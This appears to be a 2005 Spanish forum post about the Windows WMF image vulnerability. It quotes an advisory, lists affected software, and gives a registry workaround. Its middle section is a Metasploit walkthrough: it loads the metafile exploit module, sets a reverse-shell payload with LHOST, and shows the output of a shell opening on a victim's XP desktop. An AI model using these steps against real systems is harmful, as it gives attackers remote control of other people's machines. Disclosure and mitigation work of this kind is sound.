Nuevo ¨bug¨ de Windows, sin parche...

Se a publicado un nuevo exploit para windows, que es una version distinta a la consignada en FrSIRT el 30/11/05.Estos archivos de imagen se pueden modificar muy fácilmente para descargar cualquier malware o virus.Ingrese, ayer a la noche, en un sitio con un XP completamente parchado y fui infectado con suma facilidad...
Segurityfocus al respecto aclara:¨El motor grafico de Microsoft Windows WMF es afectado por una vulnerabilidad remota de ejecución de código. El problema se presenta cuando un usuario visualiza un archivo de formato WMF malévolo, accionando la vulnerabilidad cuando el motor procura analizar el archivo. El ¨error¨ se puede explotar remotamente o por un atacante local. Cualquier ejecución del código que ocurra estará con los privilegios del SISTEMA debido a la naturaleza del motor afectado. Microsoft Windows XP se considera vulnerable en el momento. Es probable que otros sistemas operativos de Windows estén afectados también.¨Mas Info.
Cualquier web que exhiba automáticamente una imagen de WMF hará que las máquinas de los usuarios sean infectadas. Esto incluye las viejas versiones de Firefox, versiones actuales de ópera, Outlook y toda versión del Internet Explorer en todas las versiones de Windows.

Codigo para explotar este bug con Metasploit.

Modo de Uso:
msf > use ie_xp_pfv_metafile
msf ie_xp_pfv_metafile > set PAYLOAD win32_reverse
PAYLOAD -> win32_reverse
msf ie_xp_pfv_metafile(win32_reverse) > set LHOST xxx.xxx.xxx.xxx
LHOST -> xxx.xxx.xxx.xxx
msf ie_xp_pfv_metafile(win32_reverse) > exploit

[*] Starting Reverse Handler.
[*] Waiting for connections to http://0.0.0.0:8080/anything.wmf
[*] HTTP Client connected from xxx.xxx.xxx.xxx:1060 using Windows XP
[*] Got connection from xxx.xxx.xxx.xxx <-> xxx.xxx.xxx

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\XXXX\Desktop>

Solucion Temporal para este bug:
En una ventana de comandos ponemos: REGSVR32 /U SHIMGVW.DLL y reseteamos la maquina.Si tienes problemas para visualizar imagenes con windows, vuelve a habilitarla con REGSVR32 SHIMGVW.DLL.

Salu2